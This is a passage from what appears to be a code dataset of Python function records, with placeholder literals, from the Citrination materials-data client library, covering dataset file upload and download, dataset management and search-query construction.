r.status_code == <NUM_LIT:200>:<EOL><INDENT>data = {'<STR_LIT>': j['<STR_LIT:url>']['<STR_LIT:path>'], '<STR_LIT>': j['<STR_LIT>']}<EOL>self._post_json(routes.update_file(j['<STR_LIT>']), data=data)<EOL>upload_result.add_success(source_path)<EOL>return upload_result<EOL><DEDENT>else:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\".format(source_path))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(source_path))<EOL><DEDENT>", "docstring": "Upload a file, specifying source and dest paths a file (acts as the scp command).asdfasdf\n\n:param source_path: The path to the file on the source host asdf\n:type source_path: str\n:param dest_path: The path to the file where the contents of the upload will be written (on the dest host)\n:type dest_path: str\n:return: The result of the upload process\n:rtype: :class:`UploadResult`", "id": "f3511:c0:m1"}
{"signature": "def list_files(self, dataset_id, glob=\"<STR_LIT:.>\", is_dir=False):", "body": "data = {<EOL>\"<STR_LIT:list>\": {<EOL>\"<STR_LIT>\": glob,<EOL>\"<STR_LIT>\": is_dir<EOL>}<EOL>}<EOL>return self._get_success_json(self._post_json(routes.list_files(dataset_id), data, failure_message=\"<STR_LIT>\".format(dataset_id)))['<STR_LIT>']<EOL>", "docstring": "List matched filenames in a dataset on Citrination.\n\n:param dataset_id: The ID of the dataset to search for files.\n:type dataset_id: int\n:param glob: A pattern which will be matched against files in the dataset.\n:type glob: str\n:param is_dir: A boolean indicating whether or not the pattern should match against the beginning of paths in the dataset.\n:type is_dir: bool\n:return: A list of filepaths in the dataset matching the provided glob.\n:rtype: list of strings", "id": "f3511:c0:m2"}
{"signature": "def matched_file_count(self, dataset_id, glob=\"<STR_LIT:.>\", is_dir=False):", "body": "list_result = self.list_files(dataset_id, glob, is_dir)<EOL>return len(list_result)<EOL>", "docstring": "Returns the number of files matching a pattern in a dataset.\n\n:param dataset_id: The ID of the dataset to search for files.\n:type dataset_id: int\n:param glob: A pattern which will be matched against files in the dataset.\n:type glob: str\n:param is_dir: A boolean indicating whether or not the pattern should match against the beginning of paths in the dataset.\n:type is_dir: bool\n:return: The number of matching files\n:rtype: int", "id": "f3511:c0:m3"}
{"signature": "def get_ingest_status(self, dataset_id):", "body": "failure_message = \"<STR_LIT>\".format(dataset_id)<EOL>response = self._get_success_json(<EOL>self._get('<STR_LIT>' + str(dataset_id) + '<STR_LIT>',<EOL>failure_message=failure_message))['<STR_LIT:data>']<EOL>if '<STR_LIT:status>' in response:<EOL><INDENT>return response['<STR_LIT:status>']<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Returns the current status of dataset ingestion.  If any file uploaded to a dataset is in an error/failure state\nthis endpoint will return error/failure.  If any files are still processing, will return processing.\n\n:param dataset_id: Dataset identifier\n:return: Status of dataset ingestion as a string", "id": "f3511:c0:m4"}
{"signature": "def get_dataset_files(self, dataset_id, glob=\"<STR_LIT:.>\", is_dir=False, version_number=None):", "body": "if version_number is None:<EOL><INDENT>latest = True<EOL><DEDENT>else:<EOL><INDENT>latest = False<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": glob,<EOL>\"<STR_LIT>\": is_dir,<EOL>\"<STR_LIT>\": latest<EOL>}<EOL>}<EOL>failure_message = \"<STR_LIT>\".format(dataset_id)<EOL>versions = self._get_success_json(self._post_json(routes.matched_files(dataset_id), data, failure_message=failure_message))['<STR_LIT>']<EOL>if version_number is None:<EOL><INDENT>version = versions[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>version = list(filter(lambda v: v['<STR_LIT>'] == version_number, versions))[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise ResourceNotFoundException()<EOL><DEDENT><DEDENT>return list(<EOL>map(<EOL>lambda f: DatasetFile(path=f['<STR_LIT:filename>'], url=f['<STR_LIT:url>']), version['<STR_LIT>']<EOL>)<EOL>)<EOL>", "docstring": "Retrieves URLs for the files matched by a glob or a path to a directory\nin a given dataset.\n\n:param dataset_id: The id of the dataset to retrieve files from\n:type dataset_id: int\n:param glob: A regex used to select one or more files in the dataset\n:type glob: str\n:param is_dir: Whether or not the supplied pattern should be treated as a directory to search in\n:type is_dir: bool\n:param version_number: The version number of the dataset to retrieve files from\n:type version_number: int\n:return: A list of dataset files whose paths match the provided pattern.\n:rtype: list of :class:`DatasetFile`", "id": "f3511:c0:m5"}
{"signature": "def get_dataset_file(self, dataset_id, file_path, version = None):", "body": "return self.get_dataset_files(dataset_id, \"<STR_LIT>\".format(file_path), version_number=version)[<NUM_LIT:0>]<EOL>", "docstring": "Retrieves a dataset file matching a provided file path\n\n:param dataset_id: The id of the dataset to retrieve file from\n:type dataset_id: int\n:param file_path: The file path within the dataset\n:type file_path: str\n:param version: The dataset version to look for the file in. If nothing is supplied, the latest dataset version will be searched\n:type version: int\n:return: A dataset file matching the filepath provided\n:rtype: :class:`DatasetFile`", "id": "f3511:c0:m6"}
{"signature": "def download_files(self, dataset_files, destination='<STR_LIT:.>'):", "body": "if not isinstance(dataset_files, list):<EOL><INDENT>dataset_files = [dataset_files]<EOL><DEDENT>for f in dataset_files:<EOL><INDENT>filename = f.path.lstrip('<STR_LIT:/>')<EOL>local_path = os.path.join(destination, filename)<EOL>if not os.path.isdir(os.path.dirname(local_path)):<EOL><INDENT>os.makedirs(os.path.dirname(local_path))<EOL><DEDENT>r = requests.get(f.url, stream=True)<EOL>with open(local_path, '<STR_LIT:wb>') as output_file:<EOL><INDENT>shutil.copyfileobj(r.raw, output_file)<EOL><DEDENT><DEDENT>", "docstring": "Downloads file(s) to a local destination.\n\n:param dataset_files:\n:type dataset_files: list of :class: `DatasetFile`\n:param destination: The path to the desired local download destination\n:type destination: str\n:param chunk: Whether or not to chunk the file. Default True\n:type chunk: bool", "id": "f3511:c0:m7"}
{"signature": "def get_pif(self, dataset_id, uid, dataset_version = None):", "body": "failure_message = \"<STR_LIT>\".format(uid)<EOL>if dataset_version == None:<EOL><INDENT>response = self._get(routes.pif_dataset_uid(dataset_id, uid), failure_message=failure_message)<EOL><DEDENT>else:<EOL><INDENT>response = self._get(routes.pif_dataset_version_uid(dataset_id, uid, dataset_version), failure_message=failure_message)<EOL><DEDENT>return pif.loads(response.content.decode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Retrieves a PIF from a given dataset.\n\n:param dataset_id: The id of the dataset to retrieve PIF from\n:type dataset_id: int\n:param uid: The uid of the PIF to retrieve\n:type uid: str\n:param dataset_version: The dataset version to look for the PIF in. If nothing is supplied, the latest dataset version will be searched\n:type dataset_version: int\n:return: A :class:`Pif` object\n:rtype: :class:`Pif`", "id": "f3511:c0:m8"}
{"signature": "def create_dataset(self, name=None, description=None, public=False):", "body": "data = {<EOL>\"<STR_LIT>\": _convert_bool_to_public_value(public)<EOL>}<EOL>if name:<EOL><INDENT>data[\"<STR_LIT:name>\"] = name<EOL><DEDENT>if description:<EOL><INDENT>data[\"<STR_LIT:description>\"] = description<EOL><DEDENT>dataset = {\"<STR_LIT>\": data}<EOL>failure_message = \"<STR_LIT>\"<EOL>result = self._get_success_json(self._post_json(routes.create_dataset(), dataset, failure_message=failure_message))<EOL>return _dataset_from_response_dict(result)<EOL>", "docstring": "Create a new data set.\n\n:param name: name of the dataset\n:type name: str\n:param description: description for the dataset\n:type description: str\n:param public: A boolean indicating whether or not the dataset should be public.\n:type public: bool\n:return: The newly created dataset.\n:rtype: :class:`Dataset`", "id": "f3511:c0:m9"}
{"signature": "def update_dataset(self, dataset_id, name=None, description=None, public=None):", "body": "data = {<EOL>\"<STR_LIT>\": _convert_bool_to_public_value(public)<EOL>}<EOL>if name:<EOL><INDENT>data[\"<STR_LIT:name>\"] = name<EOL><DEDENT>if description:<EOL><INDENT>data[\"<STR_LIT:description>\"] = description<EOL><DEDENT>dataset = {\"<STR_LIT>\": data}<EOL>failure_message = \"<STR_LIT>\".format(dataset_id)<EOL>response = self._get_success_json(self._post_json(routes.update_dataset(dataset_id), data=dataset, failure_message=failure_message))<EOL>return _dataset_from_response_dict(response)<EOL>", "docstring": "Update a data set.\n\n:param dataset_id: The ID of the dataset to update\n:type dataset_id: int\n:param name: name of the dataset\n:type name: str\n:param description: description for the dataset\n:type description: str\n:param public: A boolean indicating whether or not the dataset should\n    be public.\n:type public: bool\n:return: The updated dataset.\n:rtype: :class:`Dataset`", "id": "f3511:c0:m10"}
{"signature": "def create_dataset_version(self, dataset_id):", "body": "failure_message = \"<STR_LIT>\".format(dataset_id)<EOL>number = self._get_success_json(self._post_json(routes.create_dataset_version(dataset_id), data={}, failure_message=failure_message))['<STR_LIT>']<EOL>return DatasetVersion(number=number)<EOL>", "docstring": "Create a new data set version.\n\n:param dataset_id: The ID of the dataset for which the version must be bumped.\n:type dataset_id: int\n:return: The new dataset version.\n:rtype: :class:`DatasetVersion`", "id": "f3511:c0:m11"}
{"signature": "def __init__(self, id, name=None, description=None,<EOL>created_at=None):", "body": "self._name = name<EOL>self._description = description<EOL>self._id = id<EOL>self._created_at = created_at<EOL>", "docstring": "Constructor.\n\n:param id: The ID of the dataset (required for instantiation)\n:type id: int\n:param name: The name of the dataset\n:type name: str\n:param description: The description of the dataset\n:type description: str\n:param created_at: The timestamp for creation of the dataset\n:type created_at: str", "id": "f3512:c0:m0"}
{"signature": "def __init__(self):", "body": "self._failures = []<EOL>self._successes = []<EOL>", "docstring": "Constructor.", "id": "f3514:c0:m0"}
{"signature": "def successful(self):", "body": "return len(self._failures) == <NUM_LIT:0><EOL>", "docstring": "Indicates whether or not the entire upload was successful.\n\n:return: Whether or not the upload was successful\n:rtype: bool", "id": "f3514:c0:m3"}
{"signature": "def add_failure(self, filepath, reason):", "body": "self._failures.append({<EOL>\"<STR_LIT:path>\": filepath,<EOL>\"<STR_LIT>\": reason<EOL>})<EOL>", "docstring": "Registers a file as a failure to upload.\n\n:param filepath: The path to the file which was to be uploaded.\n:type filepath: str\n:param reason: The reason the file failed to upload\n:type reason: str", "id": "f3514:c0:m4"}
{"signature": "def add_success(self, filepath):", "body": "self._successes.append({<EOL>\"<STR_LIT:path>\": filepath<EOL>})<EOL>", "docstring": "Registers a file as successfully uploaded.\n\n:param filepath: The path to the successfully uploaded file.\n:type filepath: str", "id": "f3514:c0:m5"}
{"signature": "def __init__(self, path, url=None):", "body": "self._path = path<EOL>self._url = url<EOL>", "docstring": "Constructor.\n\n:param path: The files path\n:type path: str\n:param url: If present, a download URL for the file\n:type url: str", "id": "f3516:c0:m0"}
{"signature": "def __init__(self, number):", "body": "self._number = number<EOL>", "docstring": "Constructor.\n\n:param number: The number of the dataset version\n:type number: ints", "id": "f3517:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, id=None, is_featured=None,<EOL>name=None, description=None, owner=None, email=None, updated_at=None, query=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._simple = None<EOL>self.simple = simple<EOL>self._simple_weight = None<EOL>self.simple_weight = simple_weight<EOL>self._id = None<EOL>self.id = id<EOL>self._is_featured = None<EOL>self.is_featured = is_featured<EOL>self._name = None<EOL>self.name = name<EOL>self._description = None<EOL>self.description = description<EOL>self._owner = None<EOL>self.owner = owner<EOL>self._email = None<EOL>self.email = email<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: The logic to apply to the query ('SHOULD', 'MUST', 'MUST_NOT', or 'OPTIONAL').\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param id: One or more :class:`Filter` objects with filters against the id field.\n:param is_featured:  One or more :class:`BooleanFilter` objects with filters against the isFeatured field.\n:param name: One or more :class:`Filter` objects with filters against the name field.\n:param description: One or more :class:`Filter` objects with filters against the description field.\n:param owner: One or more :class:`Filter` objects with filters against the owner field.\n:param email: One or more :class:`Filter` objects with filters against the email field.\n:param updated_at: One or more :class:`Filter` objects with filters against the time that the dataset was last updated.\n:param query: One or more :class:`DatasetQuery` objects with nested queries.", "id": "f3518:c0:m0"}
{"signature": "def __init__(self, query=None, from_index=None, size=None, random_results=None, random_seed=None,<EOL>score_relevance=None, return_max_score=None, timeout=None, count_pifs=None, **kwargs):", "body": "super(DatasetReturningQuery, self).__init__(<EOL>query=query, from_index=from_index, size=size, random_results=random_results, random_seed=random_seed,<EOL>score_relevance=score_relevance, return_max_score=return_max_score, timeout=timeout, **kwargs)<EOL>self._count_pifs = None<EOL>self.count_pifs = count_pifs<EOL>", "docstring": "Constructor.\n\n:param query: One or more :class:`DataQuery` objects with the queries to run.\n:param from_index: Index of the first hit that should be returned.\n:param size: Total number of hits the should be returned.\n:param random_results: Whether to return a random set of records.\n:param random_seed: The random seed to use.\n:param score_relevance: Whether to use relevance scoring.\n:param return_max_score: Whether to return the maximum score.\n:param timeout: The number of milliseconds to wait for the query to execute.\n:param count_pifs: Whether to return counts of PIFs for each dataset.", "id": "f3519:c0:m0"}
{"signature": "def __init__(self, took=None, total_num_hits=None, max_score=None, hits=None, **kwargs):", "body": "super(DatasetSearchResult, self).__init__(<EOL>took=took, total_num_hits=total_num_hits, max_score=max_score,<EOL>hits=self._get_object(DatasetSearchHit, hits), **kwargs)<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param total_num_hits: Total number of hits.\n:param max_score: The maximum score.\n:param hits: List of :class:`DatasetSearchHit` objects.", "id": "f3520:c0:m0"}
{"signature": "def __init__(self, id=None, score=None, is_featured=None, name=None, description=None, owner=None, email=None, <EOL>num_pifs=None, updated_at=None, **kwargs):", "body": "self._id = None<EOL>self.id = id<EOL>self._score = None<EOL>self.score = score<EOL>self._is_featured = None<EOL>self.is_featured = is_featured<EOL>self._name = None<EOL>self.name = name<EOL>self._description = None<EOL>self.description = description<EOL>self._owner = None<EOL>self.owner = owner<EOL>self._email = None<EOL>self.email = email<EOL>self._num_pifs = None<EOL>self.num_pifs = num_pifs<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>", "docstring": "Constructor.\n\n:param id: String with the ID of the record.\n:param score: Score with the relevancy of the result.\n:param is_featured: Whether the dataset is a featured one.\n:param name: Name of the dataset.\n:param description: Description of the dataset.\n:param owner: Name of the owner of the dataset.\n:param email: Email address of the owner of the dataset.\n:param num_pifs: Number of PIFs in the dataset.\n:param updated_at: String with the last time that the dataset was updated.", "id": "f3521:c0:m0"}
{"signature": "def __init__(self, result=None, status=None, **kwargs):", "body": "self._result = None<EOL>self.result = result<EOL>self._status = None<EOL>self.status = status<EOL>", "docstring": "Constructor.\n\n:param result: A single :class:`DatasetSearchResult` object with the query results.\n:param status: 'SUCCESS', 'ERROR', or 'NOT_EXECUTED'.", "id": "f3522:c0:m0"}
{"signature": "def __init__(self, took=None, results=None, **kwargs):", "body": "self._took = None<EOL>self.took = took<EOL>self._results = None<EOL>self.results = results<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param results: List of :class:`DatasetMultiSearchResultElement` objects.", "id": "f3523:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, id=None, name=None, content=None,<EOL>updated_at=None, query=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._simple = None<EOL>self.simple = simple<EOL>self._simple_weight = None<EOL>self.simple_weight = simple_weight<EOL>self._id = None<EOL>self.id = id<EOL>self._name = None<EOL>self.name = name<EOL>self._content = None<EOL>self.content = content<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: The logic to apply to the query ('SHOULD', 'MUST', 'MUST_NOT', or 'OPTIONAL').\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param id: One or more :class:`Filter` objects with filters against the id field.\n:param name: One or more :class:`Filter` objects with filters against the name field.\n:param content: One or more :class:`Filter` objects with filters against the content field.\n:param updated_at: One or more :class:`Filter` objects with filters against the time that the dataset was last updated.\n:param query: One or more :class:`DatasetQuery` objects with nested queries.", "id": "f3525:c0:m0"}
{"signature": "def __init__(self, query=None, from_index=None, size=None, random_results=None, random_seed=None,<EOL>score_relevance=None, return_max_score=None, timeout=None, max_content_highlights=None,<EOL>highlight_pre_tag=None, highlight_post_tag=None, **kwargs):", "body": "super(FileReturningQuery, self).__init__(<EOL>query=query, from_index=from_index, size=size, random_results=random_results, random_seed=random_seed,<EOL>score_relevance=score_relevance, return_max_score=return_max_score, timeout=timeout, **kwargs)<EOL>self._max_content_highlights = None<EOL>self.max_content_highlights = max_content_highlights<EOL>self._highlight_pre_tag = None<EOL>self.highlight_pre_tag = highlight_pre_tag<EOL>self._highlight_post_tag = None<EOL>self.highlight_post_tag = highlight_post_tag<EOL>", "docstring": "Constructor.\n\n:param query: One or more :class:`DataQuery` objects with the queries to run.\n:param from_index: Index of the first hit that should be returned.\n:param size: Total number of hits the should be returned.\n:param random_results: Whether to return a random set of records.\n:param random_seed: The random seed to use.\n:param score_relevance: Whether to use relevance scoring.\n:param return_max_score: Whether to return the maximum score.\n:param timeout: The number of milliseconds to wait for the query to execute.\n:param max_content_highlights: The maximum number of highlighted results to return.\n:param highlight_pre_tag: The tag to use at the beginning of a highlight.\n:param highlight_post_tag: The tag to use at the end of a highlight.", "id": "f3526:c0:m0"}
{"signature": "def __init__(self, took=None, results=None, **kwargs):", "body": "self._took = None<EOL>self.took = took<EOL>self._results = None<EOL>self.results = results<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param results: List of :class:`FileMultiSearchResultElement` objects.", "id": "f3527:c0:m0"}
{"signature": "def __init__(self, dataset_id=None, dataset_version=None, id=None, score=None, name=None, updated_at=None, <EOL>highlights=None, **kwargs):", "body": "self._dataset_id = None<EOL>self.dataset_id = dataset_id<EOL>self._dataset_version = None<EOL>self.dataset_version = dataset_version<EOL>self._id = None<EOL>self.id = id<EOL>self._score = None<EOL>self.score = score<EOL>self._name = None<EOL>self.name = name<EOL>self._updated_at = None<EOL>self.updated_at = updated_at<EOL>self._highlights = None<EOL>self.highlights = highlights<EOL>", "docstring": "Constructor.\n\n:param dataset_id: String with the ID of the dataset.\n:param dataset_version: Long with the version of the dataset.\n:param id: String with the ID of the record.\n:param score: Score with the relevancy of the result.\n:param name: Name of the dataset.\n:param updated_at: String with the last time that the dataset was updated.\n:param highlights: List of strings with the highlighted results.", "id": "f3528:c0:m0"}
{"signature": "def __init__(self, result=None, status=None, **kwargs):", "body": "self._result = None<EOL>self.result = result<EOL>self._status = None<EOL>self.status = status<EOL>", "docstring": "Constructor.\n\n:param result: A single :class:`FileSearchResult` object with the query results.\n:param status: 'SUCCESS', 'ERROR', or 'NOT_EXECUTED'.", "id": "f3529:c0:m0"}
{"signature": "def __init__(self, took=None, total_num_hits=None, max_score=None, hits=None, **kwargs):", "body": "super(FileSearchResult, self).__init__(<EOL>took=took, total_num_hits=total_num_hits, max_score=max_score,<EOL>hits=self._get_object(FileSearchHit, hits), **kwargs)<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param total_num_hits: Total number of hits.\n:param max_score: The maximum score.\n:param hits: List of :class:`FileSearchHit` objects.", "id": "f3530:c0:m0"}
{"signature": "def default(self, obj):", "body": "if obj is None:<EOL><INDENT>return []<EOL><DEDENT>elif isinstance(obj, list):<EOL><INDENT>return [i.as_dictionary() for i in obj]<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>return self._keys_to_camel_case(obj)<EOL><DEDENT>else:<EOL><INDENT>return obj.as_dictionary()<EOL><DEDENT>", "docstring": "Convert an object to a form ready to dump to json.\n\n:param obj: Object being serialized. The type of this object must be one of the following: None; a single object derived from the Pio class; or a list of objects, each derived from the Pio class.\n:return: List of dictionaries, each representing a physical information object, ready to be serialized.", "id": "f3531:c0:m0"}
{"signature": "def _keys_to_camel_case(self, obj):", "body": "return dict((to_camel_case(key), value) for (key, value) in obj.items())<EOL>", "docstring": "Make a copy of a dictionary with all keys converted to camel case. This is just calls to_camel_case on each of the keys in the dictionary and returns a new dictionary.\n\n:param obj: Dictionary to convert keys to camel case.\n:return: Dictionary with the input values and all keys in camel case", "id": "f3531:c0:m1"}
{"signature": "def _validate_search_query(self, returning_query):", "body": "start_index = returning_query.from_index or <NUM_LIT:0><EOL>size = returning_query.size or <NUM_LIT:0><EOL>if start_index < <NUM_LIT:0>:<EOL><INDENT>raise CitrinationClientError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if size < <NUM_LIT:0>:<EOL><INDENT>raise CitrinationClientError(\"<STR_LIT>\")<EOL><DEDENT>if start_index + size > MAX_QUERY_DEPTH:<EOL><INDENT>raise CitrinationClientError(<EOL>\"<STR_LIT>\".format(<EOL>MAX_QUERY_DEPTH))<EOL><DEDENT>", "docstring": "Checks to see that the query will not exceed the max query depth\n\n:param returning_query: The PIF system or Dataset query to execute.\n:type returning_query: :class:`PifSystemReturningQuery` or :class: `DatasetReturningQuery`", "id": "f3532:c0:m2"}
{"signature": "def pif_search(self, pif_system_returning_query):", "body": "self._validate_search_query(pif_system_returning_query)<EOL>return self._execute_search_query(<EOL>pif_system_returning_query,<EOL>PifSearchResult<EOL>)<EOL>", "docstring": "Run a PIF query against Citrination.\n\n:param pif_system_returning_query: The PIF system query to execute.\n:type pif_system_returning_query: :class:`PifSystemReturningQuery`\n:return: :class:`PifSearchResult` object with the results of the query.\n:rtype: :class:`PifSearchResult`", "id": "f3532:c0:m3"}
{"signature": "def dataset_search(self, dataset_returning_query):", "body": "self._validate_search_query(dataset_returning_query)<EOL>return self._execute_search_query(<EOL>dataset_returning_query,<EOL>DatasetSearchResult<EOL>)<EOL>", "docstring": "Run a dataset query against Citrination.\n\n:param dataset_returning_query: :class:`DatasetReturningQuery` to execute.\n:type dataset_returning_query: :class:`DatasetReturningQuery`\n:return: Dataset search result object with the results of the query.\n:rtype: :class:`DatasetSearchResult`", "id": "f3532:c0:m4"}
{"signature": "def _execute_search_query(self, returning_query, result_class):", "body": "if returning_query.from_index:<EOL><INDENT>from_index = returning_query.from_index<EOL><DEDENT>else:<EOL><INDENT>from_index = <NUM_LIT:0><EOL><DEDENT>if returning_query.size != None:<EOL><INDENT>size = min(returning_query.size, client_config.max_query_size)<EOL><DEDENT>else:<EOL><INDENT>size = client_config.max_query_size<EOL><DEDENT>if (size == client_config.max_query_size and<EOL>size != returning_query.size):<EOL><INDENT>self._warn(\"<STR_LIT>\".format(size))<EOL><DEDENT>time = <NUM_LIT:0.0>;<EOL>hits = [];<EOL>while True:<EOL><INDENT>sub_query = deepcopy(returning_query)<EOL>sub_query.from_index = from_index + len(hits)<EOL>partial_results = self._search_internal(sub_query, result_class)<EOL>total = partial_results.total_num_hits<EOL>time += partial_results.took<EOL>if partial_results.hits is not None:<EOL><INDENT>hits.extend(partial_results.hits)<EOL><DEDENT>if len(hits) >= size or len(hits) >= total or sub_query.from_index >= total:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return result_class(hits=hits, total_num_hits=total, took=time)<EOL>", "docstring": "Run a PIF query against Citrination.\n\n:param returning_query: :class:`BaseReturningQuery` to execute.\n:param result_class: The class of the result to return.\n:return: ``result_class`` object with the results of the query.", "id": "f3532:c0:m5"}
{"signature": "def pif_multi_search(self, multi_query):", "body": "failure_message = \"<STR_LIT>\"<EOL>response_dict = self._get_success_json(<EOL>self._post(routes.pif_multi_search, data=json.dumps(multi_query, cls=QueryEncoder),<EOL>failure_message=failure_message))<EOL>return PifMultiSearchResult(**keys_to_snake_case(response_dict['<STR_LIT>']))<EOL>", "docstring": "Run each in a list of PIF queries against Citrination.\n\n:param multi_query: :class:`MultiQuery` object to execute.\n:return: :class:`PifMultiSearchResult` object with the results of the query.", "id": "f3532:c0:m7"}
{"signature": "def generate_simple_chemical_query(self, name=None, chemical_formula=None, property_name=None, property_value=None,<EOL>property_min=None, property_max=None, property_units=None, reference_doi=None,<EOL>include_datasets=[], exclude_datasets=[], from_index=None, size=None):", "body": "pif_system_query = PifSystemQuery()<EOL>pif_system_query.names = FieldQuery(<EOL>extract_as='<STR_LIT:name>',<EOL>filter=[Filter(equal=i) for i in self._get_list(name)])<EOL>pif_system_query.chemical_formula = ChemicalFieldQuery(<EOL>extract_as='<STR_LIT>',<EOL>filter=[ChemicalFilter(equal=i) for i in self._get_list(chemical_formula)])<EOL>pif_system_query.references = ReferenceQuery(doi=FieldQuery(<EOL>extract_as='<STR_LIT>',<EOL>filter=[Filter(equal=i) for i in self._get_list(reference_doi)]))<EOL>property_name_query = FieldQuery(<EOL>extract_as='<STR_LIT>',<EOL>filter=[Filter(equal=i) for i in self._get_list(property_name)])<EOL>property_units_query = FieldQuery(<EOL>extract_as='<STR_LIT>',<EOL>filter=[Filter(equal=i) for i in self._get_list(property_units)])<EOL>property_value_query = FieldQuery(<EOL>extract_as='<STR_LIT>',<EOL>filter=[])<EOL>for i in self._get_list(property_value):<EOL><INDENT>property_value_query.filter.append(Filter(equal=i))<EOL><DEDENT>if property_min is not None or property_max is not None:<EOL><INDENT>property_value_query.filter.append(Filter(min=property_min, max=property_max))<EOL><DEDENT>pif_system_query.properties = PropertyQuery(<EOL>name=property_name_query,<EOL>value=property_value_query,<EOL>units=property_units_query)<EOL>dataset_query = list()<EOL>if include_datasets:<EOL><INDENT>dataset_query.append(DatasetQuery(logic='<STR_LIT>', id=[Filter(equal=i) for i in include_datasets]))<EOL><DEDENT>if exclude_datasets:<EOL><INDENT>dataset_query.append(DatasetQuery(logic='<STR_LIT>', id=[Filter(equal=i) for i in exclude_datasets]))<EOL><DEDENT>pif_system_returning_query = PifSystemReturningQuery(<EOL>query=DataQuery(<EOL>system=pif_system_query,<EOL>dataset=dataset_query),<EOL>from_index=from_index,<EOL>size=size,<EOL>score_relevance=True)<EOL>return pif_system_returning_query<EOL>", "docstring": "This method generates a :class:`PifSystemReturningQuery` object using the\nsupplied arguments. All arguments that accept lists have logical OR's on the queries that they generate.\nThis means that, for example, simple_chemical_search(name=['A', 'B']) will match records that have name\nequal to 'A' or 'B'.\n\nResults will be pulled into the extracted field of the :class:`PifSearchHit` objects that are returned. The\nname will appear under the key \"name\", chemical formula under \"chemical_formula\", property name under\n\"property_name\", value of the property under \"property_value\", units of the property under \"property_units\",\nand reference DOI under \"reference_doi\".\n\nThis method is only meant for execution of very simple queries. More complex queries must use the search method\nthat accepts a :class:`PifSystemReturningQuery` object.\n\n:param name: One or more strings with the names of the chemical system to match.\n:type name: str or list of str\n:param chemical_formula:  One or more strings with the chemical formulas to match.\n:type chemical_formula: str or list of str\n:param property_name: One or more strings with the names of the property to match.\n:type property_name: str or list of str\n:param property_value: One or more strings or numbers with the exact values to match.\n:type property_value: str or int or float or list of str or int or float\n:param property_min: A single string or number with the minimum value to match.\n:type property_min: str or int or float\n:param property_max: A single string or number with the maximum value to match.\n:type property_max: str or int or float\n:param property_units: One or more strings with the property units to match.\n:type property_units: str or list of str\n:param reference_doi: One or more strings with the DOI to match.\n:type reference_doin: str or list of str\n:param include_datasets: One or more integers with dataset IDs to match.\n:type include_datasets: int or list of int\n:param exclude_datasets: One or more integers with dataset IDs that must not match.\n:type exclude_datasets: int or list of int\n:param from_index: Index of the first record to match.\n:type from_index: int\n:param size: Total number of records to return.\n:type size: int\n:return: A query to to be submitted with the pif_search method\n:rtype: :class:`PifSystemReturningQuery`", "id": "f3532:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def _get_list(values):<DEDENT>", "body": "if values is None:<EOL><INDENT>return []<EOL><DEDENT>elif isinstance(values, list):<EOL><INDENT>return values<EOL><DEDENT>else:<EOL><INDENT>return [values]<EOL><DEDENT>", "docstring": "Helper method that wraps values in a list. If the input is a list then it is returned. If the input is None then an empty list is returned. For anything else, the input value is wrapped as a single-element list.\n\n:param values: Value to make sure exists in a list.\n:return: List with the input values.", "id": "f3532:c0:m9"}
{"signature": "def __init__(self, logic=None, weight=None, exists=None, equal=None, filter=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._exists = None<EOL>self.exists = exists<EOL>self._equal = None<EOL>self.equal = equal<EOL>self._filter = None<EOL>self.filter = filter<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the filter.\n:param exists: True/False to simply test whether the field exists and has a non-null value.\n:param equal: String with the phrase to match against.\n:param filter: List of :class:`BooleanFilter` objects with sub-filters.", "id": "f3533:c0:m0"}
